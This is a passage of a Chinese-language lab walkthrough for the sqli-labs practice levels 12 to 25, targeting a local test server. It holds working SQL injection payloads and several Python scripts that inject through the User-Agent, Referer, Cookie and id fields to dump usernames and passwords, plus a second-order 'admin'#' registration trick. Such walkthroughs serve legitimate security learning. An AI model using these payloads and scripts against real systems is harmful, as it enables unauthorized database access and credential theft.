URL = "http://127.0.0.1/sql/Less-12/"RULE = "/html/body/div[3]/font/font/font/text()"SYMBOL = "\")"成功获取信息

Less-13
闭合符号是 '),但是没有回显

在测试闭合符时发现了会报错详细信息,因此使用报错注入。修改 Config.py
URL = "http://127.0.0.1/sql/Less-13/"RULE = "/html/body/div[3]/font/font/text()"SYMBOL = "\")"成功获取信息

Less-14
没有报错信息,只有在正确与否的时候图片会不一样,因此使用布尔盲注
修改 Config.py
URL = "http://127.0.0.1/sql/Less-14/"RULE = "/html/body/div[3]/font/font/img/@src"SYMBOL = "\""成功获取信息

Less-15
依旧布尔盲注,修改 Config.py
URL = "http://127.0.0.1/sql/Less-15/"RULE = "/html/body/div[3]/font/font/img/@src"SYMBOL = "\'"成功获取数据

Less-16
修改 Config.py
URL = "http://127.0.0.1/sql/Less-16/"RULE = "/html/body/div[3]/font/font/img/@src"SYMBOL = "\")"成功获取数据

Less-17

uname 无论传入什么都会回显这个页面,因此判断注入点不在此处。尝试爆破 uname,发现传入 admin 可以通过:

因此,uname 传入 admin,尝试在 passwd 进行注入:

单引号闭合,且有详细的报错信息,因此使用报错注入
爆数据库名:' or updatexml(1,concat(0x7e,database(),0x7e),1)#
爆数据表名:' or updatexml(1,concat(0x7e,(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema='security'),0x7e),1)#
爆列名:' or updatexml(1,concat(0x7e,(SELECT group_concat(column_name) FROM information_schema.columns WHERE table_schema='security' AND table_name='users'),0x7e),1)#
爆用户名:' or updatexml(1,concat(0x7e,(SELECT group_concat(username) FROM security.users),0x7e),1)#打到这就出问题了,因为题目中这句的源码是这样的
"UPDATE users SET password = '$passwd' WHERE username='$row1'"在 SQL 语句中,UPDATE users 后面的语句中不能出现 FROM users 的语句,因此此处再想用报错注入已经不行了……
尝试查找了一些资料,使用 SQLmap,但是也没有打通……先鸽一会,如果有大佬可以解决这个问题,请教教我,谢谢!
Less-18

提醒 IP 地址,第一个想到的是 X-Forwarded-For,尝试修改后没东西。随后尝试在 uname 和 passwd 上注入,都没有注入点。因此只能被迫尝试爆破
uname=admin&passwd=admin成功获得回显:

回显 User-Agent,因此尝试在这里注入

单引号加括号闭合,有详细报错信息,但是现在报错列数不够
简单测试一下,发现是 3 列

随后报错注入就行了
修改了一下原来的报错注入的脚本
import requestimport logging
logging.basicConfig( format="%(asctime)s - %(levelname)s - %(message)s", level=logging.INFO)
def main(url, rule): logging.info(f"开始对 {url} 进行注入...") data = { "uname": """admin""", "passwd": "admin" } header = { "User-Agent": f"""1',updatexml(1,concat(0x7e,database(),0x7e),1),3)#""" } logging.info(f"第一次注入内容为 {header['User-Agent']}...") response = request.post(url, rule, data=data, headers=header) if response == None: logging.error(f"出现错误...") return None try: db_name = response[0].split(':')[1][3:-2] except Exception as e: logging.exception("第一次注入语句出现错误...") return response header = { "User-Agent": f"""1',updatexml(1,concat(0x7e,(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema='{db_name}'),0x7e),1),3)#""" } logging.info(f"第二次注入内容为 {header['User-Agent']} ...") response = request.post(url, rule, data=data, headers=header) if response == None: logging.error(f"出现错误...") return None try: tb_list = response[0].split(':')[1][3:-2].split(',') except Exception as e: logging.exception("第二次注入语句出现错误...") return response print("[+] 发现数据表:", tb_list) while True: tb_index = input("[*] 请输入想要获取详细信息的数据表的索引:") try: tb_name = tb_list[int(tb_index)] print(f"[+] 已选择数据表: {tb_name}") break except ValueError: print("[-] 输入无效!请输入数字格式的索引...") except IndexError: print(f"[-] 索引越界!请输入 0 到 {len(tb_list) - 1} 之间的数字...") except Exception: print("[-] 发生未知错误,请重试...") return None header = { "User-Agent": f"""1',updatexml(1,concat(0x7e,(SELECT group_concat(column_name) FROM information_schema.columns WHERE table_schema='{db_name}' AND table_name='{tb_name}'),0x7e),1),3)#""" } logging.info(f"第三次注入内容为 {header['User-Agent']}...") response = request.post(url, rule, data=data, headers=header) if response == None: logging.error(f"出现错误...") return None try: col_list = response[0].split(':')[1][3:-2].split(',') except Exception as e: logging.exception("第三次注入语句出现错误...") return response print("[+] 发现数据列:", col_list) col_name_1 = col_list[1] logging.info(f"开始第四次注入...") p = 1 tmp = "1" username = "" while tmp: header = { "User-Agent": f"""1',updatexml(1,concat(0x7e,(SELECT mid(group_concat({col_name_1}),{p},{p+29}) FROM {db_name}.{tb_name}),0x7e),1),3)#""" } response = request.post(url, rule, data=data, headers=header) if response == None: logging.error(f"出现错误...") return None try: tmp = response[0].split(':')[1][3:-2] except Exception as e: logging.exception("第四次注入语句出现错误...") return response username += tmp p += 30 username = username.split(',') col_name_2 = col_list[2] logging.info("开始第五次注入...") p = 1 tmp = "1" password = "" while tmp: header = { "User-Agent": f"""1',updatexml(1,concat(0x7e,(SELECT mid(group_concat({col_name_2}),{p},{p+29}) FROM {db_name}.{tb_name}),0x7e),1),3)#""" } response = request.post(url, rule, data=data, headers=header) if response == None: logging.error(f"出现错误...") return None try: tmp = response[0].split(':')[1][3:-2] except Exception as e: logging.exception("第五次注入语句出现错误...") return response password += tmp p += 30 password = password.split(',') return username, password
if __name__ == "__main__": url = "http://127.0.0.1/sql/Less-18/" rule = "/html/body/div[3]/font/text()[3]"
username, password = main(url, rule) or (None, None) print() print(username) print() print(password)也能爆出想要的信息
Less-19
依旧显示 IP,有了上一关的经验,先传 uname=admin&passwd=admin 试试,回显

行,修改 Referer 字段试试

行,再测一下,发现是 2 列
那就再改一下脚本
import requestimport logging
logging.basicConfig( format="%(asctime)s - %(levelname)s - %(message)s", level=logging.INFO)
def main(url, rule): logging.info(f"开始对 {url} 进行注入...") data = { "uname": """admin""", "passwd": "admin" } header = { "Referer": f"""1',updatexml(1,concat(0x7e,database(),0x7e),1))#""" } logging.info(f"第一次注入内容为 {header['Referer']}...") response = request.post(url, rule, data=data, headers=header) if response == None: logging.error(f"出现错误...") return None try: db_name = response[0].split(':')[1][3:-2] except Exception as e: logging.exception("第一次注入语句出现错误...") return response header = { "Referer": f"""1',updatexml(1,concat(0x7e,(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema='{db_name}'),0x7e),1))#""" } logging.info(f"第二次注入内容为 {header['Referer']} ...") response = request.post(url, rule, data=data, headers=header) if response == None: logging.error(f"出现错误...") return None try: tb_list = response[0].split(':')[1][3:-2].split(',') except Exception as e: logging.exception("第二次注入语句出现错误...") return response print("[+] 发现数据表:", tb_list) while True: tb_index = input("[*] 请输入想要获取详细信息的数据表的索引:") try: tb_name = tb_list[int(tb_index)] print(f"[+] 已选择数据表: {tb_name}") break except ValueError: print("[-] 输入无效!请输入数字格式的索引...") except IndexError: print(f"[-] 索引越界!请输入 0 到 {len(tb_list) - 1} 之间的数字...") except Exception: print("[-] 发生未知错误,请重试...") return None header = { "Referer": f"""1',updatexml(1,concat(0x7e,(SELECT group_concat(column_name) FROM information_schema.columns WHERE table_schema='{db_name}' AND table_name='{tb_name}'),0x7e),1))#""" } logging.info(f"第三次注入内容为 {header['Referer']}...") response = request.post(url, rule, data=data, headers=header) if response == None: logging.error(f"出现错误...") return None try: col_list = response[0].split(':')[1][3:-2].split(',') except Exception as e: logging.exception("第三次注入语句出现错误...") return response print("[+] 发现数据列:", col_list) col_name_1 = col_list[1] logging.info(f"开始第四次注入...") p = 1 tmp = "1" username = "" while tmp: header = { "Referer": f"""1',updatexml(1,concat(0x7e,(SELECT mid(group_concat({col_name_1}),{p},{p+29}) FROM {db_name}.{tb_name}),0x7e),1))#""" } response = request.post(url, rule, data=data, headers=header) if response == None: logging.error(f"出现错误...") return None try: tmp = response[0].split(':')[1][3:-2] except Exception as e: logging.exception("第四次注入语句出现错误...") return response username += tmp p += 30 username = username.split(',') col_name_2 = col_list[2] logging.info("开始第五次注入...") p = 1 tmp = "1" password = "" while tmp: header = { "Referer": f"""1',updatexml(1,concat(0x7e,(SELECT mid(group_concat({col_name_2}),{p},{p+29}) FROM {db_name}.{tb_name}),0x7e),1))#""" } response = request.post(url, rule, data=data, headers=header) if response == None: logging.error(f"出现错误...") return None try: tmp = response[0].split(':')[1][3:-2] except Exception as e: logging.exception("第五次注入语句出现错误...") return response password += tmp p += 30 password = password.split(',') return username, password
if __name__ == "__main__": url = "http://127.0.0.1/sql/Less-19/" rule = "/html/body/div[3]/font/text()[3]"
username, password = main(url, rule) or (None, None) print() print(username) print() print(password)成功获取信息
Less-20
依旧测试,发现 uname 和 passwd 都没有注入点。再次爆破,发现 uname 和 passwd 都为 admin

回显了很多东西,先尝试修改 User-Agent

没啥反应。再看 Cookie

报错了,那就是说注入点在 Cookie 中
再次修改脚本
import requestimport logging
logging.basicConfig( format="%(asctime)s - %(levelname)s - %(message)s", level=logging.INFO)
def main(url, rule): logging.info(f"开始对 {url} 进行注入...") data = { "uname": """admin""", "passwd": "admin" } header = { "Cookie": f"""uname=1' or updatexml(1,concat(0x7e,database(),0x7e),1)#""" } logging.info(f"第一次注入内容为 {header['Cookie']}...") response = request.post(url, rule, data=data, headers=header) if response == None: logging.error(f"出现错误...") return None try: db_name = response[0].split(':')[2][3:-2] except Exception as e: logging.exception("第一次注入语句出现错误...") return response header = { "Cookie": f"""uname=1' or updatexml(1,concat(0x7e,(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema='{db_name}'),0x7e),1)#""" } logging.info(f"第二次注入内容为 {header['Cookie']} ...") response = request.post(url, rule, data=data, headers=header) if response == None: logging.error(f"出现错误...") return None try: tb_list = response[0].split(':')[2][3:-2].split(',') except Exception as e: logging.exception("第二次注入语句出现错误...") return response print("[+] 发现数据表:", tb_list) while True: tb_index = input("[*] 请输入想要获取详细信息的数据表的索引:") try: tb_name = tb_list[int(tb_index)] print(f"[+] 已选择数据表: {tb_name}") break except ValueError: print("[-] 输入无效!请输入数字格式的索引...") except IndexError: print(f"[-] 索引越界!请输入 0 到 {len(tb_list) - 1} 之间的数字...") except Exception: print("[-] 发生未知错误,请重试...") return None header = { "Cookie": f"""uname=1' or updatexml(1,concat(0x7e,(SELECT group_concat(column_name) FROM information_schema.columns WHERE table_schema='{db_name}' AND table_name='{tb_name}'),0x7e),1)#""" } logging.info(f"第三次注入内容为 {header['Cookie']}...") response = request.post(url, rule, data=data, headers=header) if response == None: logging.error(f"出现错误...") return None try: col_list = response[0].split(':')[2][3:-2].split(',') except Exception as e: logging.exception("第三次注入语句出现错误...") return response print("[+] 发现数据列:", col_list) col_name_1 = col_list[1] logging.info(f"开始第四次注入...") p = 1 tmp = "1" username = "" while tmp: header = { "Cookie": f"""uname=1' or updatexml(1,concat(0x7e,(SELECT mid(group_concat({col_name_1}),{p},{p+29}) FROM {db_name}.{tb_name}),0x7e),1)#""" } response = request.post(url, rule, data=data, headers=header) if response == None: logging.error(f"出现错误...") return None try: tmp = response[0].split(':')[2][3:-2] except Exception as e: logging.exception("第四次注入语句出现错误...") return response username += tmp p += 30 username = username.split(',') col_name_2 = col_list[2] logging.info("开始第五次注入...") p = 1 tmp = "1" password = "" while tmp: header = { "Cookie": f"""uname=1' or updatexml(1,concat(0x7e,(SELECT mid(group_concat({col_name_2}),{p},{p+29}) FROM {db_name}.{tb_name}),0x7e),1)#""" } response = request.post(url, rule, data=data, headers=header) if response == None: logging.error(f"出现错误...") return None try: tmp = response[0].split(':')[2][3:-2] except Exception as e: logging.exception("第五次注入语句出现错误...") return response password += tmp p += 30 password = password.split(',') return username, password
if __name__ == "__main__": url = "http://127.0.0.1/sql/Less-20/" rule = "/html/body/center/b/font[3]/text()[2]"
username, password = main(url, rule) or (None, None) print() print(username) print() print(password)成功获取数据
事后又去看了眼源码,这里使用的是 SELECT 语句,因此联合注入也是可以的,但是我懒得改脚本了……
Less-21
依旧尝试 admin,成功回显

被 Base64 编码了,尝试注入试试

把 payload Base64 编码就行了
懒得改脚本了,反正就用 Base64 库编码一下就行了……
Less-22
和上一关一样,只是改成用双引号闭合……
Less-23
依旧 id 测试

注释符没用了,猜测是被 WAF 了,那使用 or '1'='1 的格式就能闭合 SQL 语句了

依旧改脚本
import requestimport logging
def main(url, symbol, rule): logging.info(f"开始对 {url} 进行注入...") param = { "id": f"""-1{symbol} UNION SELECT 1,database(),group_concat(table_name) FROM information_schema.tables WHERE table_schema=database() AND {symbol}1{symbol}={symbol}1""" } logging.info(f"第一次注入内容为 {param['id']}...") response = request.get(url, rule, param) if response == None: logging.error(f"出现错误...") return None try: db_name = response[0].split(':')[1] tb_list = response[1].split(':')[1].split(',') except Exception as e: logging.exception("第一次注入语句出现错误...") return response print("[+] 发现数据表:", tb_list) while True: tb_index = input("[*] 请输入想要获取详细信息的数据表的索引:") try: tb_name = tb_list[int(tb_index)] print(f"[+] 已选择数据表: {tb_name}") break except ValueError: print("[-] 输入无效!请输入数字格式的索引...") except IndexError: print(f"[-] 索引越界!请输入 0 到 {len(tb_list) - 1} 之间的数字...") except Exception: print("[-] 发生未知错误,请重试...") return None param = { "id": f"""-1{symbol} UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_schema='{db_name}' AND table_name='{tb_name}' AND {symbol}1{symbol}={symbol}1""" } logging.info(f"第二次注入内容为 {param['id']}...") response = request.get(url, rule, param) if response == None: logging.error(f"出现错误...") return None try: col_list = response[0].split(':')[1].split(',') except Exception as e: logging.exception("第二次注入语句出现错误...") return response print("[+] 发现数据列:", col_list) col_name_1 = col_list[1] col_name_2 = col_list[2] param = { "id": f"""-1{symbol} UNION SELECT 1,group_concat({col_name_1}),group_concat({col_name_2}) FROM {db_name}.{tb_name} WHERE {symbol}1{symbol}={symbol}1""" } logging.info(f"第三次注入内容为 {param['id']}...") response = request.get(url, rule, param) if response == None: logging.error(f"出现错误...") return None try: username = response[0].split(':')[1].split(',') password = response[1].split(':')[1].split(',') except Exception as e: logging.exception("第三次注入语句出现错误...") return response return username, password
if __name__ == "__main__": url = "http://127.0.0.1/sql/Less-23/index.php" symbol = "\'" rule = "/html/body/div/font[2]/font/text()"
username, password = main(url, symbol, rule) or (None, None) print("\n") print(username) print() print(password)成功获得信息
Less-24
发现了注册页面


尝试直接修改 admin 的密码,回显

尝试闭合语句并加一个注释符,也不行
没想法了,看看源码
$sql = "insert into users ( username, password) values(\"$username\", \"$pass\")";$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";源码中的逻辑漏洞挺多,但是单纯从 SQL 注入来说,这里应该是二次注入,所以在注册新用户时
Desired Username: admin'#Password: 任意密码然后登录
Username: admin'#Password: 刚刚注册的密码然后重置密码
Current Password: 注册的密码New Password: 任意新密码然后点 reset,这时候才会触发 pass_change.php,更新 admin 的密码。最后只需要用刚刚更新过的密码就可以登录 admin 账户了
但是这有什么用呢?不明白……
其他的地方都被严格限制了,并不能进行注入。能以 admin 身份登入也确实不错了
Less-25
提示挺明显的,过滤了 AND 和 OR

尝试联合注入,发现成功回显

去修改一下联合注入的 payload,不用 AND
import requestimport logging
def main(url, symbol, rule): logging.info(f"开始对 {url} 进行注入...") param = { "id": f"""-1{symbol} UNION SELECT 1,database(),group_concat(table_name) FROM infoorrmation_schema.tables WHERE table_schema=database()-- """ } logging.info(f"第一次注入内容为 {param['id']}...") response = request.get(url, rule, param) if response == None: logging.error(f"出现错误...") return None try: db_name = response[0].split(':')[1] tb_list = response[1].split(':')[1].split(',') except Exception as e: logging.exception("第一次注入语句出现错误...") return response print("[+] 发现数据表:", tb_list) while True: tb_index = input("[*] 请输入想要获取详细信息的数据表的索引:") try: tb_name = tb_list[int(tb_index)] print(f"[+] 已选择数据表: {tb_name}") break except ValueError: print("[-] 输入无效!请输入数字格式的索引...") except IndexError: print(f"[-] 索引越界!请输入 0 到 {len(tb_list) - 1} 之间的数字...") except Exception: print("[-] 发生未知错误,请重试...") return None param = { "id": f"""-1{symbol} UNION SELECT 1,group_concat(column_name),3 FROM infoorrmation_schema.columns WHERE table_name='{tb_name}'-- """ } logging.info(f"第二次注入内容为 {param['id']}...") response = request.get(url, rule, param) if response == None: logging.error(f"出现错误...") return None try: col_list = response[0].split(':')[1].split(',') except Exception as e: logging.exception("第二次注入语句出现错误...") return response print("[+] 发现数据列:", col_list) col_name_1 = col_list[4] param = { "id": f"""-1{symbol} UNION SELECT 1,group_concat({col_name_1}),group_concat(passwoorrd) FROM {db_name}.{tb_name}-- """ } logging.info(f"第三次注入内容为 {param['id']}...") response = request.get(url, rule, param) if response == None: logging.error(f"出现错误...") return None try: username = response[0].split(':')[1].split(',') password = response[1].split(':')[1].split(',') except Exception as e: logging.exception("第三次注入语句出现错误...") return response return username, password
if __name__ == "__main__": url = "http://127.0.0.1/sql/Less-25/" symbol = "\'" rule = "/html/body/div/font[2]/font/text()"
print(main(url, symbol, rule))这个逆天正则匹配,会匹配所有的 or。information 里面有 or,password 里面还有 or,都被删除了……
翻了一下源码发现只删除一次,那还好,可以使用双写绕过。这个 password 不用正则还真想不出自动加一个 or 的方式,但是我又懒了,就手动写一下吧
成功获得数据
